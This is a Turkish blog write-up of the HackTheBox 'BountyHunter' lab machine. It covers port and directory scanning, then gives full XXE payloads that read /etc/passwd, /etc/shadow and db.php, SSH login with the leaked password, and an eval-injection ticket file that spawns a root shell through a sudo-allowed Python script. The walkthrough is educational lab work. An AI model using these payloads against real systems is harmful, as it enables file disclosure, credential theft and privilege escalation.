Categories
HackTheBox

HackTheBox BountyHunter Makina Çözümü

Öncelikle ping atarak IP’ye erişimimiz var mı ona bakıyoruz. Eğer linux bir sistemde ping komutundan sonra kaç tane ping atacağınızı -c parametresi ile vermezseniz sonsuza kadar gider. Ctrl+C ile durdurmak zorunda kalırsınız. Böyle bir durdurma attack sırasında tercih edilen bir şey değildir. Çünkü eğer ping’i saldırdığınız ve erişiminiz olan bir makinada yapıyorsanız sizi makinadan atar ve belki o makinaya bir daha erişme şansınız olmaz. Tek atımlık erişim şansınızı kaybetmiş olursunuz. Bu neden -c parametresini mutlaka kullanıyoruz.

ping -c2 10.10.11.100

IP üzerinde hangi portlar açık önce ona bakıyoruz. Bunun için nmap aracını kullanıyoruz.

nmap -sT -p- 10.10.11.100

Detaylı portları tarayıp üzerinde ne çalıştığına bakıyoruz.

nmap -sV -p22,80 10.10.11.100

80 portunda ne var diye bakmak için tarayıcı ile ziyaret ediyoruz. Sayfaya gidince bizi mutlu bir arkadaş karşılıyor 🙂 Peki nasıl bir bakış açımız olmalı? Zamanla kazanılabilecek bir beceriden bahsediyoruz. Saha da gördükçe ya da lablarda çözdükçe gelişecek bir beceri. CTF’lere vs katılmak, bir ekip ile çalışıp fikir alışverisinde bulunmak, onların nasıl yaklaştığını analiz etmek bu bakış açısının gelişmesi için çok önemlidir. Sayfadaki tüm linkleri ziyaret edeceğiz. Direkt dirb (dirbuster) aracına da verebiliriz. Metasploitte bununla ilgili bir modül var auxiliary/scanner/http/files_dir onu da kullanabiliriz. Keşif sırasında kullanacağınız araçlar, makina ya da uygulamanın esnekliği ve sizin tecrübe ettiğiniz araçlara göre değişiklik gösterecektir. O yüzden “ya arkadaş bunu kullanmak nereden aklına geliyor” demeyin 🙂

Dirb aracını kullanırken wordlistte verebilirsiniz ama şu an ona gerek duymadık. Olmazsa deneriz.

dirb http://10.10.11.100

Dirb’in çıktısından istediğimiz performansı alamadık. Çünkü bize sadece klasörleri verdi. Bu klasörleri tek tek geçip içerisinde işe yarar bir şey var mı bakabiliriz. Fakat bu adıma geçmeden farklı bir yöntemle daha arama yapmak isterim. Bu medenle metaspolit üzerindeki modülle şansımızı deneyeceğiz.

msfconsole -q
use auxiliary/scanner/http/files_dir
set RHOSTS 10.10.11.100
run

msfconsole komutu terminal ekranından metasploit frameworküne geçmek için kullanılır. -q parametresi ise metasploit açılırken ekrana introsunu basar; onu engellemek için kullanılıyor.

[+] Found http://10.10.11.100:80/db.php 200
[+] Found http://10.10.11.100:80/index.php 200
[+] Found http://10.10.11.100:80/portal.php 200

Gördüğünüz gibi denediğimiz bu yöntemle daha fazla bilgiye eriştik. [+] işareti olan ve 200 dönen bazı .php adresleri var. İşin güzel tarafı birinin adı “db.php” bunun database olduğunu düşünüyoruz. Bu gerçek bir saldırı olsaydı, bunun için halay çekilirdi 🙂 Bir testimde AD’ye (Active Directory) girince sevinçten dans etmiştim. Dilerim odadaki kameralar sonradan izlenmek zorunda kalmamıştır. 😀

wget http://10.10.11.100:80/db.php

Dosyayı wget komutu ile indiriyoruz ve cat komutu ile ekrana basıyor ama içi boş çıkıyor. Tamam endişeye gerek yok. Farklı bir yolla içini okumaya deneriz. Metasploit ile bulduğumuz diğer adresleri ziyaret ediyoruz.

Harika bir form bulduk. CTF mantığı ve lablarda genelde bu formlarda bir şey olur. O yüzden biraz bu formun üzerine çalışalım diyoruz. Tutmazsa baska yollar deneriz.

Formu rastgele dolduruyoruz ve submit ettiğimizde yazdıklarımızın aynısını ekrana bastığını görüyoruz. Burp Suite proxy aracı ile araya girip, form gönderim esnasında bir değişken var mı, varsa bu değişkenlerdeki değerler şifrelenmiş mi, bu değişkenlerdeki değerleri değiştirmeme olanak verir mi, değiştirsem bile sunucudan en fazla ne çekebilirim, belki silebilirim gibi sorular soruyoruz. Bu arada uygulama güvenliği ile ilgili etkinlikler yaptığımız ve benimde İstanbul lideri olduğum Owasp İstanbul‘u Twitter  ve Meetup hesaplarından takip edebilirsiniz.

Burp Suite bir proxydir. Tarayıcınız ile ziyaret ettiğiniz her sayfa bunun üzerinden geçer. Harika bir araçtır. Ücretsiz veriyonu da çok iş görür. Ücretli versiyonu attack bile yapıyor. Burp’ü kullanabilemek için önce tarayınızda ayar yapmanız gerekli. Yukarıdaki ekranda bunu yapıyoruz.

Burp Suite Uygulaması

“data” diye bir değişkende base64’e dönüştürülmüş formumuzu görüyoruz. base64 olduğunu nereden biliyoruz. Bu pratikten kaynaklı bir alışkanlık. Birtakım encode yöntemleri var. Şifreleme demek istemiyorum çünkü kolayca çözülebilen bir şeye şifre diyemeyiz.

Bu değeri kopyalıyoruz ve online bir site de decode ediyoruz. Bunu Burp üzerinde de yapabiliriz ama siz onu öğrenirsiniz ben size başka bir araç göstereceğim. CyberChef

CyberChef

Uygulamayı kullanırken sol taraftan neyden neye çevirmek istiyorsanız onları seçiyorsunuz. Değeri önce URL Decode ardından Form Base64’e çevirdik. Gördüğünüz gibi decode edince HTML form kodlarını veriyor bize. O zaman biz buraya baska girdilerin olduğu bir formu encode edip yaptırırsak istediğimiz bilgiyi çekebiliriz. XML External Entity (XXE) Injection adında bir zafiyetimiz var. Bu zafiyet XML sayfalarına kod yürütmeye yardımcı oluyor. Onu deneyeceğiz. Bu adreste çeşitli XXE payloadları bulunuyor. Sizlerde testlerinizde ya da lab çözümlerinizde faydalanabilirsiniz. Hepsini akılda tutmak pek mümkün olmuyor. Bu yüzden yer imlerine eklemekte fayda var.

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
<userInfo>
 <firstName>John</firstName>
 <lastName>&ent;</lastName>
</userInfo>

Bizim şu anki işlemimiz için yukarıdaki uygun görünüyor. Çünkü bizim aklımız hala ‘db.php’ de onu çekebilmeyi istiyoruz.

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE bilisimcikiz [<!ENTITY bilisimcikiz SYSTEM "file:///etc/passwd"> ]>
		<bugreport>
		<title>&bilisimcikiz;</title>
		<cwe>bilisimcikiz</cwe>
		<cvss>bilisimcikiz</cvss>
		<reward>bilisimcikiz</reward>
		</bugreport>

Giden formumuzu yukarıdaki gibi düzenliyoruz. Sarı alanlar ekleme yaptıklarımız. Daha sonra bunu CyberChef ugulamasında yeniden bas64’e çeviriyoruz.

PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5iaWxpc21jaWtpejwvdGl0bGU%2BCgkJPGN3ZT5iaWxpc21jaWtpejwvY3dlPgoJCTxjdnNzPmJpbGlzbWNpa2l6PC9jdnNzPgoJCTxyZXdhcmQ%2BYmlsaXNtY2lraXo8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4%3D

Yukarıdaki gibi şeye dönüşüyor ve bunu Burp Suite’de durdurup Repeter’a attığımız istekteki “data” değişkene yapıştırıyoruz.

Daha sonra trafiği “send” edip “response” sekmesine baktığımızda <title> tagleri arasında bir çıktı alamadık. Çünkü yukarıda &bilisimcikiz; değerini o tage vermiştik. Doğal olarak etc/passwd’nin içerisini <title> tagleri arasına basmasını bekliyoruz. Fakat gelmiyor. Bunun üzerine “data” değişkenine yapıştırdığımız base64 koda sağ click yapıp “URL-encode key characters” yapıyoruz.

Yeniden “send” edip “response” sekmesine baktığımızda dosyanın içeriğini çekebildiğimizi görüyoruz. Süper! Buraki bilgilerde işimize yarayacaktır. Bu yüzden bir yere not ediyoruz ve devam ediyoruz.

Şimdi gidecek formu yeniden düzenliyoruz. Bu sefer “db.php”yi alacak şekilde düzenliyoruz. Daha sonra yeniden Cyber Chef’de encode ediyoruz.

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]>
<foo><result>&ac;</result></foo>
<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE bilisimcikiz [<!ENTITY bilisimcikiz SYSTEM "php://filter/read=convert.base64-encode/resource=db.php"> ]>
		<bugreport>
		<title>&bilisimcikiz;</title>
		<cwe>bilisimcikiz</cwe>
		<cvss>bilisimcikiz</cvss>
		<reward>bilisimcikiz</reward>
		</bugreport>

“data” değişkenine yapıştırıyoruz ve “send” edip “response” sekmesine geçip <title> tagine, ne geldiğine bakıyoruz.

Gelen değer db.php”nin içeriği ve base64 bir değer. Değeri seçip Burp Suite içerisindeki sağ kısımında bulunan accordion menüde, decode edilmiş halini görebiliyoruz. Bir kullanıcı adı ve parola aldık! Bunları da not ediyoruz.

Hatırlarsanız keşif sırasında SSH portunun açık olduğunu öğrenmiştik. Artık elimizde kullanıcı ve parolası olduğunu göre oraya bir deneme yapabiliriz.

ssh admin@10.10.11.100

db.php dosyasındaki bilgileri denedik ama olmadı! Bir de passwd içerisindekiler ile deneyelim.

ssh development@10.10.11.100

development kullanıcısı ve db.php’den aldığımız parola ile SSH bağlantısından giriş yapabildik. user.txt dosyasını bularak ilk bayrağımızı yakaladık. Şimdi yetki yükseltip root olmamız gerekli.

sudo -l

sudo -l komutu ile bize bu makinada verilen izinleri görebiliriz.

Aşağıdaki komutu çalıştırabileceğimizi görüyoruz. Komut satırını çalıştırmadan bu ticketValidator.py nedir ona bakalım. Cat ile ekrana basmanın mantıklı olmadığını görüyoruz çünkü dosya .py dosyası ve belli ki içerisinde kod var. Nano komutu ile içerisine giriyoruz.

nano /opt/skytrain_inc/ticketValidator.py

Kod ptyhon bu .py ifadesinden de çıkarabiliriz. Ne olduğunu anlayacak kadar programlama bilmekte fayda var ama dünya üzerindeki tüm programlama dillerini bilme şansınız olmadığından Google Search yeteneğiniz ile de ne olduğu ve neye yarayabileceğini öğrenebilirsiniz.

Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

Bu .py dosyasını çalıştırdığımızda uzantısı .md olan bir dosya isteyecekmiş. Kodun yukardaki kısmı bunu söylüyor. Doğruyu verirsek okuyacak vermezek “else” ile ekrana dosya tipinin hatalı olduğunu basacak.

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
#Dosya içeriğini kontrol ediyor.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
#Dosyanın ilk satırını okuyor ve eğer "# Sytrain Inc"e eşitse devam edeceğini söylüyor.
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
#Dosyanın ikinci satırını kontrol ediyor ve eğer "## Ticket to" yazıyorsa okumaya devam edeceğini söylüyor.
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
#Destination'dan sonra hangi kullanıcı ile girdiğini yazacağını söylüyor.
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue
#Dosyanın üçüncü satırını kontrol ediyor. 
"__Ticket Code:__" yazıyorsa devam edeceğini söylüyor.
        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue
#Dördüncü satırın varlığı kontrol ediliyor.
        if code_line and i == code_line:
#Satırın "**" ile başlaması gerektiğini söylüyor.
            if not x.startswith("**"):
                return False
#Burada diyor ki ** ifadesini kaldır araya "+" işareti koy. [0]'da yine kendisi demek. Bu eşittir ticketCode değişkenine. Eğer ticketCode değişkeni yani sayı 7'ye bölündüğünde kalan 4 ise bir sonraki satıra geç. Buradaki + işareti string'dir. Yani matematiksel almaz. Örngin 100 + 1 = 1001 olur.
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
#Bu satır güvenlik açığının bulunduğu satırdır. Çünkü eval () ile sağlanan girdi direkt olarak kabul edilir. eval () ile alınan girdiler temizlenmelidir. Güvenli kod geliştirme burada büyük rol oynuyor. Bu örnekte direkt kabul ettiği için rastgele kod yürütebileceğiz.
                validationNumber = eval(x.replace("**", ""))
#Değerin 100'den büyük olması gerekiyor.
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False
#Bu kısım ekran basılacak olan kısım. Önemli değil :)
def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

Yukarıdaki .py dosyasının ne istediğini anladığımıza göre onun istediği gibi bir dosya oluşturuyoruz. Sonuçta bizim bu dosyayı çalıştırma hakkımız varmış. Onu kullanacağız.

nano bilisimcikiz.md

Hiç olmayan bir dosyayı nano ile yazıp içine girerek oluşturabilirsiniz. İsterseniz touch bilisimcikiz.md yazıp bir dosya oluşturup daha sonra nano ile içine girebilirdik ama nano bilisimcikiz.md şeklinde iki işi birden yapmak daha pratik. Sonra aşağıdaki komutları yazıyoruz. Bu arada uzun cizgiler iki tane alt çizgi (_) koyunca oluyor.

# Skytrain Inc
## Ticket to sudo
__Ticket Code:__
** 123 + 10 == 133 and __import__("os").system("/bin/bash")

12310/7 ‘nin kalanı 4’dür. Burada 123 yerine 102’de verebilirdik. 4 kalanlı bütün sayıları verebiliriz. Hepsi çalışacaktır. Çünkü if döngüsünde bize öyle söylemiş.

Koddaki “import” kısmı ile shell ekranına düşmek istiyoruz. Bu komut satırı ile ilgili detaylı bilgi için buraya tıklayabilirsiniz. Daha sonra sudo -l ile öğrendiğimiz çalıştırma iznimiz olan komut satırını çalıştırıyoruz.

sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

Bu komut satırını çalıştırınca kodda açıkladığımız gibi .md uzantılı bir dosya istiyor. Hazırladığımız bilisimcikiz.md dosyasını yazıyoruz.

Daha sonra root.txt için root kullanıcısının dizinine gitmeye çalışıyorum. Direkt cd yazsaydım gidebilirdim. ls -l komutu  bulunduğum dizinde hangi dosya ve dizinlerin olduğunu görmemi sağlıyor. Son olarak cat ile root.txt dosyasını görüntülüyoruz ve makinamız tamamlanmış oluyor.

Bu makinada nmap, Burp Suite, encode yöntemleri, metasploit, XXE zafiyetinin istismarı için kullanılabilecek payloadlar ve python kodunu okumayı öğrendiniz. Tebrik ederim. 🙂

Leave a Reply

Your email address will not be published. Required fields are marked *